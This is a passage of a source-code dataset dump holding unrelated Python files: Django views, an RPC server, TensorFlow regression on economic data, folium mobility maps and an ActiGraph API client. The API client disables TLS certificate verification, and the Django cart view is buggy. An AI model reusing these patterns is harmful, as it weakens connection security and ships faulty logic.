json\nimport ast\nfrom django.http import HttpResponse\nfrom products.models import Products\n\n# Create your views here.\n\n\ndef cart(request, ip):\n crt = Cart.objects.get(userip=ip)\n prods = CartItem.objects.filter(cart=crt)\n\n return render(request, \"cart.html\", {\"products\": prods})\n\n\ndef update_quant(request):\n\n prod_id = request.GET.get(\"prod_id\")\n action = request.GET.get(\"action\")\n change = request.GET.get(\"change\")\n cartitem = request.GET.get(\"cartitem\")\n prod = Products.objects.get(id=prod_id)\n if action == \"add\":\n prod.quantity = prod.quantity - 1\n request.sessions[\"items\"] = request.session[\"items\"] - 1\n else:\n prod.quantity = prod.quantity + 1\n request.sessions[\"items\"] = request.session[\"items\"] + 1\n prod.save()\n item = CartItem.objects.get(id=cartitem)\n item.quantity = change\n if item.quantity == 0:\n item.save()\n else:\n item.delete()\n return HttpResponse(prod_id) # (context)\n","sub_path":"cart/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"20487883","text":"from django.shortcuts import render\r\n\r\n\r\ndef index(request):\r\n return render(request, 'index.html')\r\n\r\n\r\ndef count(request):\r\n count_num = len(request.GET['hello'])\r\n text = request.GET['hello']\r\n dic = {'hell': count_num,'text':text}\r\n dict = {}\r\n for word in text:\r\n if word not in dict:\r\n dict[word] = 1\r\n else:\r\n dict[word] += 1\r\n max_char = text[0]\r\n for key in dict:\r\n if dict[key]>dict[max_char]:\r\n max_char = key\r\n dic['max_char'] = max_char\r\n dic['max_num'] = dict[max_char]\r\n return render(request, 'count.html', dic)\r\n\r\n","sub_path":"wordcount/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"604603592","text":"\"\"\"Entry point for RPC processes.\"\"\"\n\nimport importlib\nimport os\nimport sys\n\nfrom myia.utils.serialize import MyiaDumper, MyiaLoader\n\nfrom . import _dead_handle\n\n\ndef _rpc_server():\n # Try to prevent other libs from using stdout\n sys.stdout = sys.stderr\n do_pm = os.environ.get(\"MYIA_PYTEST_USE_PDB\", False)\n dumper = MyiaDumper(1)\n dumper.open()\n loader = MyiaLoader(0)\n pkg, name, init_args = loader.get_data()\n try:\n mod = importlib.import_module(pkg)\n cls = getattr(mod, name)\n iface = cls(**init_args)\n dumper.represent(\"ready\")\n except Exception as e:\n if do_pm: # pragma: no cover\n import rpdb\n\n rpdb.post_mortem()\n dumper.represent(e)\n return 1\n\n while loader.check_data():\n data = loader.get_data()\n if isinstance(data, tuple):\n name, args, kwargs = data\n try:\n meth = getattr(iface, name)\n res = meth(*args, **kwargs)\n except Exception as e: # pragma: no cover\n if do_pm: # pragma: no cover\n import rpdb\n\n rpdb.post_mortem()\n res = e\n dumper.represent(res)\n elif isinstance(data, list):\n msg, arg = data\n if msg == \"dead_handle\":\n _dead_handle(arg)\n elif msg == \"handle_call\":\n try:\n res = arg[0](*arg[1], **arg[2])\n except Exception as e: # pragma: no cover\n if do_pm: # pragma: no cover\n import rpdb\n\n rpdb.post_mortem()\n res = e\n dumper.represent(res)\n else:\n raise ValueError(f\"Unknown message: {msg}\") # pragma: no cover\n else: # pragma: no cover\n raise TypeError(f\"bad data {data}\")\n return 0\n\n\nsys.exit(_rpc_server())\n","sub_path":"myia/compile/channel/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"392173764","text":"import cv2\nimport argparse\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--images\", required=True,\n help=\"path to input directory of images\")\nap.add_argument(\"-t\", \"--threshold\", type=float, default=100.0,\n help=\"focus measures that fall below this value will be considered 'blurry'\")\nargs = vars(ap.parse_args())\n\ndef check_blur(image):\n return cv2.Laplacian(image, cv2.CV_64F).var()\n\n\nimg = cv2.imread(args['images'])\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\nblur = check_blur(gray)\nprint(blur)\n","sub_path":"check_blur.py","file_name":"check_blur.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"396869208","text":"# -*- coding: utf-8 -*-\nfrom zope.interface import implements\n\nfrom Products.CMFCore.utils import getToolByName\nfrom Acquisition import aq_inner\nfrom genweb.core.interfaces import IHomePage\nfrom genweb.core.utils import pref_lang\n\n\nfrom plone.portlets.interfaces import IPortletDataProvider\nfrom plone.app.portlets.portlets import base\n\nfrom Products.Five.browser.pagetemplatefile import ViewPageTemplateFile\n\nfrom ulearn.core import _\nfrom zope.component.hooks import getSite\n\n\nclass ICustomButtonBarPortlet(IPortletDataProvider):\n \"\"\" A portlet which can render the logged user profile information.\n \"\"\"\n\n\nclass Assignment(base.Assignment):\n implements(ICustomButtonBarPortlet)\n\n title = _(u'custombuttonbar')\n\n\nclass Renderer(base.Renderer):\n\n render = ViewPageTemplateFile('custombuttonbar.pt')\n\n def getHomepage(self):\n page = {}\n context = aq_inner(self.context)\n pc = getToolByName(context, 'portal_catalog')\n result = pc.searchResults(object_provides=IHomePage.__identifier__,\n Language=pref_lang())\n page['body'] = result[0].CookedBody()\n\n return page\n\n def portal_url(self):\n return self.portal().absolute_url()\n\n def portal(self):\n return getSite()\n\n def pref_lang(self):\n \"\"\" Extracts the current language for the current user\n \"\"\"\n lt = getToolByName(self.portal(), 'portal_languages')\n return lt.getPreferredLanguage()\n\n\nclass AddForm(base.NullAddForm):\n\n def create(self):\n return Assignment()\n","sub_path":"ulearn/theme/portlets/custombuttonbar/custombuttonbar.py","file_name":"custombuttonbar.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"419576635","text":"# -*- coding: utf-8 -*-\n# @Time: 2020/10/16 11:01\n# @Author: Rollbear\n# @Filename: test_tiles_on_dblp.py\n\nimport unittest\nimport tiles as t\n\n\nclass TestOnDBLP(unittest.TestCase):\n def test_dblp_phdthesis(self):\n data_path = \"../../data/dblp_timestamp/phdthesis/2017.edgelist\"\n output_path = \"../../data/dblp_timestamp/phdthesis/\"\n\n tl = t.TILES(data_path,\n path=output_path)\n tl.execute() # 执行算法\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"my_script/test/test_tiles_on_dblp.py","file_name":"test_tiles_on_dblp.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"176796298","text":"#import requests\n#from requests.auth import HTTPBasicAuth\n# Added to remove InsecureRequestWarning\nimport requests\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n# Removed this one\n#from requests_oauthlib import OAuth1\nimport hmac\nimport hashlib\nimport base64\nimport datetime\nimport time\nimport array\nimport json\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\ndef BuildRequestHeader( httpMethod, Uri, apiAccessKey, apiSecretKey ):\n \"Builds the Request Header Dictionary\"\n \n # dictionaty for request header parameters\n headerDictionary = {}\n \n # set content-type for POST and PUT operations\n if httpMethod == 'POST' or httpMethod == 'PUT':\n headerDictionary['content-type'] = 'application/json'\n\n # retrieve current timestamp in UTC \n currentUtcTime = datetime.datetime.utcnow()\n\n # perform signing\n stringToSign = str(httpMethod + \"\\n\\n\\n\" + currentUtcTime.strftime('%Y-%m-%dT%H:%M:%SZ') + \"\\n\" + Uri).encode('utf-8')\n digest = hmac.new(apiSecretKey, stringToSign, hashlib.sha256).digest()\n signature = base64.b64encode(digest).decode('utf-8')\n\n # Add authorization property to header dictionary\n headerDictionary['Authorization'] = \"AGS\" + \" \" + apiAccessKey + \":\" + signature\n\n # Add date property to header dictionart\n headerDictionary['Date'] = currentUtcTime.strftime('%a, %d %b %Y %H:%M:%S +0000')\n\n return headerDictionary;\n\ndef SendRequest ( httpMethod, Uri, apiAccessKey, apiSecretKey ):\n \"Sends request to study admin api and returns response\"\n headerDictionary = BuildRequestHeader(httpMethod, Uri, apiAccessKey, apiSecretKey )\n response = requests.get(Uri, headers=headerDictionary, verify=False)\n return response;\n\nbaseUri = 'https://studyadmin-api.actigraphcorp.com'\napi_access_key = '<api access key goes here>'\napi_secret = str('<api secret key goes here>').encode('utf-8')\n\n# Get Studies Endppoint (returns list of studies)\nresourceUri = '/v1/studies'\nresponse = SendRequest('GET', baseUri + resourceUri, api_access_key, api_secret) \nprint ('response: ' )\nprint ( response.status_code )\nprint ( response.json() )\n\n\n## Get Study Endpoint (retuns information on specific study)\n#studyId = '<Study Id Goes Here>'\n#resourceUri = '/v1/studies/' + studyId \n#response = SendRequest('GET', baseUri + resourceUri, api_access_key, api_secret)\n#print ( response.json() )\n\n## Get Study Subjects Endpoint (returns subjects within specific study)\n#studyId = '<Study Id Goes Here>'\n#resourceUri = '/v1/studies/' + studyId + '/subjects'\n#response = SendRequest('GET', baseUri + resourceUri, api_access_key, api_secret)\n#print ( response.json() )\n\n## Get Sites Endpoint (returns list of sites) \n#resourceUri = '/v1/sites'\n#response = SendRequest('GET', baseUri + resourceUri, api_access_key, api_secret)\n#print ( response.json() )\n\n## Get Subject Endpoint (returns information on specific subject)\n#subjectId = '<Subject Id goes here>'\n#resourceUri = '/v1/subjects/' + subjectId\n#response = SendRequest('GET', baseUri + resourceUri, api_access_key, api_secret)\n#print ( response.json() )\n","sub_path":"Examples/PythonExampleConnectingToAPI.py","file_name":"PythonExampleConnectingToAPI.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"506478400","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Sep 15 20:14:23 2018\r\n\r\n@author: Joyce\r\n\"\"\"\r\n#add needed\r\nfrom __future__ import print_function\r\n\r\nimport math\r\n\r\nfrom IPython import display\r\nfrom matplotlib import cm\r\nfrom matplotlib import gridspec\r\nfrom matplotlib import pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn import metrics\r\nimport tensorflow as tf\r\nfrom tensorflow.python.data import Dataset\r\n\r\ntf.logging.set_verbosity(tf.logging.ERROR)\r\npd.options.display.max_rows = 10\r\npd.options.display.float_format = '{:.1f}'.format\r\n\r\n#read econoemeic date\r\necnm_dataframe = pd.read_csv(\"D:\\TF TEST LEARNING\\ls\\ecnm_ml\\ml_data_all.csv\", sep=\",\")\r\n\r\n#ecnm_dataframe = ecnm_dataframe.reindex(np.random.permutation(ecnm_dataframe.index))\r\n\r\ndef preprocess_features(california_housing_dataframe):\r\n \"\"\"Prepares input features from economic data set.\r\n\r\n Args:\r\n ecnm_dataframe: A Pandas DataFrame expected to contain data\r\n from the economic data set.\r\n Returns:\r\n A DataFrame that contains the features to be used for the model, including\r\n synthetic features.\r\n \"\"\"\r\n #\r\n selected_features = ecnm_dataframe[\r\n [\"y\",\"m\",\"d\",\"tw_Open\",\"tw_High\",\"tw_Low\",\"jp_Adj_Close\",\"chnsse_Adj_Close\",\"chnhs_Adj_Close\",\"ko_Adj_Close\",\"iny_Adj_Close\",\"ind_Adj_Close\",\"astsp_Adj_Close\",\"ast_Adj_Close\",\"usdow_Adj_Close\",\"usnsdq_Adj_Close\",\"usvix_Adj_Close\",\"ussp_Adj_Close\",\"eurestx_Adj_Close\",\"blx_Adj_Close\",\"fnc_Adj_Close\",\"grm_Adj_Close\",\"cnd_Adj_Close\",\"mxc_Adj_Close\",\"agt_Adj_Close\",\"chl_Adj_Close\",\"bx_Adj_Close\",\"Isrl_Adj_Close\",\"tw_VALUE\",\"jp_VALUE\",\"chn_VALUE\",\"chnhk_VALUE\",\"bx_VALUE\",\"cnd_VALUE\",\"ind_VALUE\",\"ko_VALUE\",\"mlx_VALUE\",\"mxc_VALUE\",\"sd_VALUE\",\"nafrc_VALUE\",\"sgp_VALUE\",\"sz_VALUE\",\"aut_VALUE\",\"eur_VALUE\",\"nzn_VALUE\",\"uk_VALUE\",\"RDSCUNT_RATE\",\"RATE_YEAR\",\"RATE\",\"BOND_RATE\",\"PRP_M\",\"PRP_M_P\",\"M1A\",\"M1B\",\"M2\",\"PUR_A\",\"ASSETS\",\"LIABILITIES\"]]\r\n processed_features = selected_features.copy()\r\n # Create a synthetic feature.\r\n processed_features[\"tw_delta\"] = ((ecnm_dataframe[\"tw_High\"]/1000.0) -(ecnm_dataframe[\"tw_Low\"]/1000.0))\r\n return processed_features\r\n\r\ndef preprocess_targets(california_housing_dataframe):\r\n \"\"\"Prepares target features (i.e., labels) from California housing data set.\r\n\r\n Args:\r\n california_housing_dataframe: A Pandas DataFrame expected to contain data\r\n from the California housing data set.\r\n Returns:\r\n A DataFrame that contains the target feature.\r\n \"\"\"\r\n output_targets = pd.DataFrame()\r\n # Scale the target to be in units of thousands of dollars.\r\n output_targets[\"tw_Adj_Close\"] = (\r\n ecnm_dataframe[\"tw_Adj_Close\"] / 1000.0)\r\n return output_targets\r\n\r\ntraining_examples = preprocess_features(ecnm_dataframe.head(2000))\r\n#training_examples.describe()\r\n\r\ntraining_targets = preprocess_targets(ecnm_dataframe.head(2000))\r\n#training_targets.describe()\r\n\r\nvldlt = ecnm_dataframe.tail(3185)\r\nvldft = vldlt.head(2000)\r\nvalidation_examples = preprocess_features(vldft)\r\n#validation_examples.describe()\r\n\r\nvalidation_targets = preprocess_targets(vldft)\r\n#validation_targets.describe()\r\n\r\n\r\ndef my_input_fn(features, targets, batch_size=1, shuffle=True, num_epochs=None):\r\n \"\"\"Trains a linear regression model of multiple features.\r\n \r\n Args:\r\n features: pandas DataFrame of features\r\n targets: pandas DataFrame of targets\r\n batch_size: Size of batches to be passed to the model\r\n shuffle: True or False. Whether to shuffle the data.\r\n num_epochs: Number of epochs for which data should be repeated. None = repeat indefinitely\r\n Returns:\r\n Tuple of (features, labels) for next data batch\r\n \"\"\"\r\n \r\n # Convert pandas data into a dict of np arrays.\r\n features = {key:np.array(value) for key,value in dict(features).items()} \r\n \r\n # Construct a dataset, and configure batching/repeating.\r\n ds = Dataset.from_tensor_slices((features,targets)) # warning: 2GB limit\r\n ds = ds.batch(batch_size).repeat(num_epochs)\r\n \r\n # Shuffle the data, if specified.\r\n if shuffle:\r\n ds = ds.shuffle(10000)\r\n \r\n # Return the next batch of data.\r\n features, labels = ds.make_one_shot_iterator().get_next()\r\n return features, labels\r\n\r\ndef construct_feature_columns(input_features):\r\n \"\"\"Construct the TensorFlow Feature Columns.\r\n\r\n Args:\r\n input_features: The names of the numerical input features to use.\r\n Returns:\r\n A set of feature columns\r\n \"\"\" \r\n return set([tf.feature_column.numeric_column(my_feature)\r\n for my_feature in input_features])\r\n \r\ndef train_model(\r\n learning_rate,\r\n steps,\r\n batch_size,\r\n training_examples,\r\n training_targets,\r\n validation_examples,\r\n validation_targets):\r\n \"\"\"Trains a linear regression model of multiple features.\r\n \r\n In addition to training, this function also prints training progress information,\r\n as well as a plot of the training and validation loss over time.\r\n \r\n Args:\r\n learning_rate: A `float`, the learning rate.\r\n steps: A non-zero `int`, the total number of training steps. A training step\r\n consists of a forward and backward pass using a single batch.\r\n batch_size: A non-zero `int`, the batch size.\r\n training_examples: A `DataFrame` containing one or more columns from\r\n `california_housing_dataframe` to use as input features for training.\r\n training_targets: A `DataFrame` containing exactly one column from\r\n `california_housing_dataframe` to use as target for training.\r\n validation_examples: A `DataFrame` containing one or more columns from\r\n `california_housing_dataframe` to use as input features for validation.\r\n validation_targets: A `DataFrame` containing exactly one column from\r\n `california_housing_dataframe` to use as target for validation.\r\n \r\n Returns:\r\n A `LinearRegressor` object trained on the training data.\r\n \"\"\"\r\n\r\n periods = 10\r\n steps_per_period = steps / periods\r\n \r\n # Create a linear regressor object.\r\n my_optimizer = tf.train.GradientDescentOptimizer(learning_rate=learning_rate)\r\n my_optimizer = tf.contrib.estimator.clip_gradients_by_norm(my_optimizer, 5.0)\r\n linear_regressor = tf.estimator.LinearRegressor(\r\n feature_columns=construct_feature_columns(training_examples),\r\n optimizer=my_optimizer\r\n )\r\n \r\n # Create input functions.\r\n training_input_fn = lambda: my_input_fn(\r\n training_examples, \r\n training_targets[\"tw_Adj_Close\"], \r\n batch_size=batch_size)\r\n predict_training_input_fn = lambda: my_input_fn(\r\n training_examples, \r\n training_targets[\"tw_Adj_Close\"], \r\n num_epochs=1, \r\n shuffle=False)\r\n predict_validation_input_fn = lambda: my_input_fn(\r\n validation_examples, validation_targets[\"tw_Adj_Close\"], \r\n num_epochs=1, \r\n shuffle=False)\r\n\r\n # Train the model, but do so inside a loop so that we can periodically assess\r\n # loss metrics.\r\n print(\"Training model...\")\r\n print(\"RMSE (on training data):\")\r\n training_rmse = []\r\n validation_rmse = []\r\n for period in range (0, periods):\r\n # Train the model, starting from the prior state.\r\n linear_regressor.train(\r\n input_fn=training_input_fn,\r\n steps=steps_per_period,\r\n )\r\n # Take a break and compute predictions.\r\n training_predictions = linear_regressor.predict(input_fn=predict_training_input_fn)\r\n training_predictions = np.array([item['predictions'][0] for item in training_predictions])\r\n \r\n validation_predictions = linear_regressor.predict(input_fn=predict_validation_input_fn)\r\n validation_predictions = np.array([item['predictions'][0] for item in validation_predictions])\r\n \r\n \r\n # Compute training and validation loss.\r\n training_root_mean_squared_error = math.sqrt(\r\n metrics.mean_squared_error(training_predictions, training_targets))\r\n validation_root_mean_squared_error = math.sqrt(\r\n metrics.mean_squared_error(validation_predictions, validation_targets))\r\n # Occasionally print the current loss.\r\n print(\" period %02d : %0.2f\" % (period, training_root_mean_squared_error))\r\n # Add the loss metrics from this period to our list.\r\n training_rmse.append(training_root_mean_squared_error)\r\n validation_rmse.append(validation_root_mean_squared_error)\r\n print(\"Model training finished.\")\r\n\r\n # Output a graph of loss metrics over periods.\r\n plt.ylabel(\"RMSE\")\r\n plt.xlabel(\"Periods\")\r\n plt.title(\"Root Mean Squared Error vs. Periods\")\r\n plt.tight_layout()\r\n plt.plot(training_rmse, label=\"training\")\r\n plt.plot(validation_rmse, label=\"validation\")\r\n plt.legend()\r\n\r\n return linear_regressor\r\n\r\nlinear_regressor = train_model(\r\n learning_rate=0.001,\r\n steps=1000,\r\n batch_size=1,\r\n training_examples=training_examples,\r\n training_targets=training_targets,\r\n validation_examples=validation_examples,\r\n validation_targets=validation_targets)\r\n\r\n","sub_path":"sleftry/ecnm_ml/ecnm_tf_validation (2).py","file_name":"ecnm_tf_validation (2).py","file_ext":"py","file_size_in_byte":8926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"136238894","text":"import bezier\nimport colormap\nimport webbrowser\nimport numpy as np\nimport pandas as pd\nimport colorlover as cl\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\n\nimport folium\nfrom folium.plugins import HeatMap\n\nc_lat, c_lon = None, None\n\n\ndef visualize_points(filename, points, tiles='stamentoner', zoom_start=11):\n global c_lat, c_lon\n c_lat, c_lon = np.mean(points, axis=0)\n m = folium.Map(location=[c_lon, c_lat], tiles=tiles, zoom_start=zoom_start)\n HeatMap(np.c_[points[:, 1], points[:, 0]],\n min_opacity=0.5, max_zoom=15, max_val=1.0, radius=15, blur=15).add_to(m)\n title_html = \"\"\"<div style=\"position: fixed; \n top: 20px; left: 50px; width: 800px; height: 90px; \n z-index:9999; font-size:40px; font-weight:bold; color: #3175b7\">Raw GPS Points</div>\"\"\"\n m.get_root().html.add_child(folium.Element(title_html))\n m.save(filename)\n webbrowser.open('file://%s' % filename)\n\n\ndef visualize_trajectories(filename, trajectories, tiles='stamentoner', zoom_start=11):\n global c_lat, c_lon\n if c_lat is None:\n points = np.array([[traj.start_point()[1], traj.start_point()[0]] for traj in trajectories.values()])\n c_lat, c_lon = np.mean(points, axis=0)\n m = folium.Map(location=[c_lon, c_lat], tiles=tiles, zoom_start=zoom_start)\n\n for tid, traj in trajectories.items():\n folium.PolyLine([[p[1], p[0]] for p in traj.object]).add_to(m)\n title_html = \"\"\"<div style=\"position: fixed; \n top: 20px; left: 50px; width: 800px; height: 90px; \n z-index:9999; font-size:40px; font-weight:bold; color: #3175b7\">Reconstructed Trajectories</div>\"\"\"\n m.get_root().html.add_child(folium.Element(title_html))\n m.save(filename)\n webbrowser.open('file://%s' % filename)\n\n\ndef visualize_stops(filename, trajectories, tiles='stamentoner', zoom_start=11, radius=50):\n global c_lat, c_lon\n if c_lat is None:\n points = np.array([[traj.start_point()[1], traj.start_point()[0]] for traj in trajectories.values()])\n c_lat, c_lon = np.mean(points, axis=0)\n\n lat_list = list()\n lon_list = list()\n for tid, traj in trajectories.items():\n lat_list.append(traj.object[-1][1])\n lon_list.append(traj.object[-1][0])\n\n m = folium.Map(location=[c_lon, c_lat], tiles=tiles, zoom_start=zoom_start)\n for i in range(0, len(trajectories)):\n folium.Circle(location=(lat_list[i], lon_list[i]), radius=radius, fill=True, fill_opacity=0.8).add_to(m)\n title_html = \"\"\"<div style=\"position: fixed; \n top: 20px; left: 50px; width: 800px; height: 90px; \n z-index:9999; font-size:40px; font-weight:bold; color: #3175b7\">Stop Points</div>\"\"\"\n m.get_root().html.add_child(folium.Element(title_html))\n m.save(filename)\n webbrowser.open('file://%s' % filename)\n\n\ndef visualize_locations(filename, location_prototype, location_features, tiles='stamentoner', zoom_start=11,\n q=np.array([0.0, 0.25, 0.50, 0.75, 1.0])):\n global c_lat, c_lon\n if c_lat is None:\n points = np.array([[p[1], p[0]] for p in location_prototype.values()])\n c_lat, c_lon = np.mean(points, axis=0)\n\n lat_list = list()\n lon_list = list()\n sup_list = list()\n for lid, p in location_prototype.items():\n lat_list.append(p[1])\n lon_list.append(p[0])\n sup_list.append(np.sqrt(location_features[lid]['loc_support'] * 10000))\n\n sup_colors = pd.qcut(sup_list, q=q, duplicates='drop')\n colors = list(cl.scales['9']['seq']['Blues'])[9 - len(sup_colors.categories):]\n sup_colors = pd.qcut(sup_list, q=q, labels=colors, duplicates='drop')\n\n m = folium.Map(location=[c_lon, c_lat], tiles=tiles, zoom_start=zoom_start)\n for i in range(0, len(location_prototype)):\n folium.Circle(\n location=(lat_list[i], lon_list[i]),\n radius=sup_list[i],\n color=sup_colors[i],\n fill=True,\n fill_color=sup_colors[i],\n fill_opacity=0.8\n ).add_to(m)\n title_html = \"\"\"<div style=\"position: fixed; \n top: 20px; left: 50px; width: 800px; height: 90px; \n z-index:9999; font-size:40px; font-weight:bold; color: #3175b7\">Detected Locations</div>\"\"\"\n m.get_root().html.add_child(folium.Element(title_html))\n m.save(filename)\n webbrowser.open('file://%s' % filename)\n\n\ndef get_bearing(p1, p2):\n '''\n Returns compass bearing from p1 to p2\n\n Parameters\n p1 : namedtuple with lat lon\n p2 : namedtuple with lat lon\n\n Return\n compass bearing of type float\n\n Notes\n Based on https://gist.github.com/jeromer/2005586\n '''\n\n long_diff = np.radians(p2[0] - p1[0])\n\n lat1 = np.radians(p1[1])\n lat2 = np.radians(p2[1])\n\n x = np.sin(long_diff) * np.cos(lat2)\n y = (np.cos(lat1) * np.sin(lat2)\n - (np.sin(lat1) * np.cos(lat2)\n * np.cos(long_diff)))\n bearing = np.degrees(np.arctan2(x, y))\n\n # adjusting for compass bearing\n if bearing < 0:\n return bearing + 360\n return bearing\n\n\ndef visualize_imn(filename, location_nextlocs, location_prototype, location_features,\n tiles='stamentoner', zoom_start=11, q=np.array([0.0, 0.25, 0.50, 0.75, 1.0])):\n global c_lat, c_lon\n if c_lat is None:\n points = np.array([[p[1], p[0]] for p in location_prototype.values()])\n c_lat, c_lon = np.mean(points, axis=0)\n\n fmov = list()\n weight = list()\n for lid1 in location_nextlocs:\n for lid2 in location_nextlocs[lid1]:\n s = location_prototype[lid1]\n e = location_prototype[lid2]\n gap = 0.05 * abs(e[1] - s[1]) / 0.05\n nodes = np.asfortranarray([\n [s[1], (s[1] + e[1]) / 2 + np.random.choice([gap, -gap]), e[1]],\n [s[0], (s[0] + e[0]) / 2 + np.random.choice([gap, -gap]), e[0]],\n ])\n curve = bezier.Curve(nodes, degree=2)\n val = curve.evaluate_multi(np.linspace(0.0, 1.0, 10))\n x_val = val[0]\n y_val = val[1]\n mov = list()\n for xv, yv in zip(x_val, y_val):\n mov.append([xv, yv])\n\n fmov.append(mov)\n weight.append(np.log(location_nextlocs[lid1][lid2] * 10))\n\n sup_colors = pd.qcut(weight, q=q, duplicates='drop')\n colors = list(cl.scales['9']['seq']['Greens'])[9 - len(sup_colors.categories):]\n sup_colors = pd.qcut(weight, q=q, labels=colors, duplicates='drop')\n\n m = folium.Map(location=[c_lon, c_lat], tiles=tiles, zoom_start=zoom_start)\n for i, fm in enumerate(fmov):\n folium.PolyLine(fm, color=sup_colors[i], weight=weight[i], opacity=0.8).add_to(m)\n s, e = fm[0], fm[-2]\n rotation = get_bearing(s, e) - 90\n folium.RegularPolygonMarker(location=e, color=sup_colors[i], fill=True, fill_color=sup_colors[i],\n fill_opacity=0.8, number_of_sides=3, radius=6, rotation=rotation).add_to(m)\n\n lat_list = list()\n lon_list = list()\n sup_list = list()\n for lid, p in location_prototype.items():\n lat_list.append(p[1])\n lon_list.append(p[0])\n sup_list.append(np.sqrt(location_features[lid]['loc_support'] * 10000))\n\n sup_colors = pd.qcut(sup_list, q=q, duplicates='drop')\n colors = list(cl.scales['9']['seq']['Blues'])[9 - len(sup_colors.categories):]\n sup_colors = pd.qcut(sup_list, q=q, labels=colors, duplicates='drop')\n\n for i in range(0, len(lon_list)):\n folium.Circle(location=(lat_list[i], lon_list[i]), radius=sup_list[i], color=sup_colors[i], fill=True,\n fill_color=sup_colors[i], fill_opacity=0.8).add_to(m)\n\n title_html = \"\"\"<div style=\"position: fixed; \n top: 20px; left: 50px; width: 800px; height: 90px; \n z-index:9999; font-size:40px; font-weight:bold; color: #3175b7\">Individual Mobility Network</div>\"\"\"\n m.get_root().html.add_child(folium.Element(title_html))\n\n m.save(filename)\n webbrowser.open('file://%s' % filename)\n\n\ndef cl2hex(c):\n r, g, b = c\n r, g, b = int(r), int(g), int(b)\n return colormap.rgb2hex(r, g, b)\n\n\ndef visualize_features(filename, user_features, df_train, features):\n features_map = dict()\n for ft, flist in features.items():\n for f in flist:\n features_map[f] = ft\n\n vals = list()\n names = list()\n mean_values = df_train.mean().to_dict()\n max_values = df_train.max().to_dict()\n min_values = df_train.min().to_dict()\n\n for f, v in user_features.items():\n if f in ['uid', 'crash']:\n continue\n if np.isnan(v) or np.isinf(v) or v == -1 or max_values[f] == min_values[f] or np.isinf(\n min_values[f]) or np.isinf(max_values[f]):\n vals.append(0)\n else:\n v1 = (v - min_values[f]) / (max_values[f] - min_values[f])\n v2 = (mean_values[f] - min_values[f]) / (max_values[f] - min_values[f])\n d = v1 - v2\n vals.append(d)\n names.append('%s-%s' % (features_map[f], f))\n\n gap = (max(vals) - min(vals)) / 6\n bins = np.arange(min(vals), max(vals), gap)\n color_scale = list(cl.to_numeric(cl.scales[str(len(bins) - 1)]['div']['RdYlGn']))\n color_scale = [cl2hex(c) for c in color_scale]\n colors = pd.cut(vals, bins=bins, labels=color_scale)\n colors = [c if not isinstance(c, float) else color_scale[3] for c in colors]\n\n fetures_per_plot = 20\n fig = plt.figure(figsize=(50, 40))\n fontsize = 13\n\n pid = 0\n for cid in range(0, 3):\n for rid in range(0, 7):\n plt.subplot(3, 7, pid + 1)\n ifrom = pid * fetures_per_plot\n ito = pid * fetures_per_plot + fetures_per_plot\n svals = vals[ifrom:ito]\n snames = names[ifrom:ito]\n scolors = colors[ifrom:ito]\n\n x = np.arange(len(svals))\n plt.barh(x, svals, color=scolors)\n for i, v, n in zip(x, svals, snames):\n if v < 0:\n plt.text(0.01, i, n, fontsize=fontsize)\n elif v > 0:\n plt.text(-0.01, i, n, horizontalalignment='right', fontsize=fontsize)\n elif v == 0:\n plt.text(0.01, i, n, horizontalalignment='center', fontsize=fontsize)\n plt.axvline(0, color='k')\n plt.axis('off')\n plt.xlim(min(vals), max(vals))\n pid += 1\n\n st = fig.suptitle('Final Features', fontsize=fontsize*10)\n fig.tight_layout()\n st.set_y(0.95)\n fig.subplots_adjust(top=0.85)\n plt.savefig(filename, format='png', bbox_inches='tight')\n plt.close()\n browser = webbrowser.get('chrome')\n browser.open('file://%s' % filename)\n\n\ndef visualize_crash_risk(filename, uid, area, period, crash_proba, path):\n odo_idx = int((1.0-crash_proba) * 6)\n img = mpimg.imread(path + 'fig/odometer/odometer_%s.png' % odo_idx)\n plt.imshow(img)\n plt.title('User %s - %s - %s - Crash Risk: %.2f' % (\n uid, area.capitalize(), period.capitalize(), crash_proba), fontsize=16)\n plt.axis('off')\n plt.savefig(filename, format='png', bbox_inches='tight')\n plt.close()\n browser = webbrowser.get('chrome')\n browser.open('file://%s' % filename)\n","sub_path":"code/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":11225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"102635675","text":"'''Wizard Kit: System Setup'''\n# pylint: disable=wildcard-import,wrong-import-position\n# vim: sts=2 sw=2 ts=2\n\nimport os\nimport sys\n\n# Init\nsys.path.append(os.path.dirname(os.path.realpath(__file__)))\nfrom collections import OrderedDict\nfrom functions.activation import *\nfrom functions.browsers import *\nfrom functions.cleanup import *\nfrom functions.info import *\nfrom functions.product_keys import *\nfrom functions.setup import *\nfrom functions.sw_diags import *\nfrom functions.windows_updates import *\ninit_global_vars()\nos.system('title {}: System Setup'.format(KIT_NAME_FULL))\nset_log_file('System Setup.log')\n\n\n# STATIC VARIABLES\n# pylint: 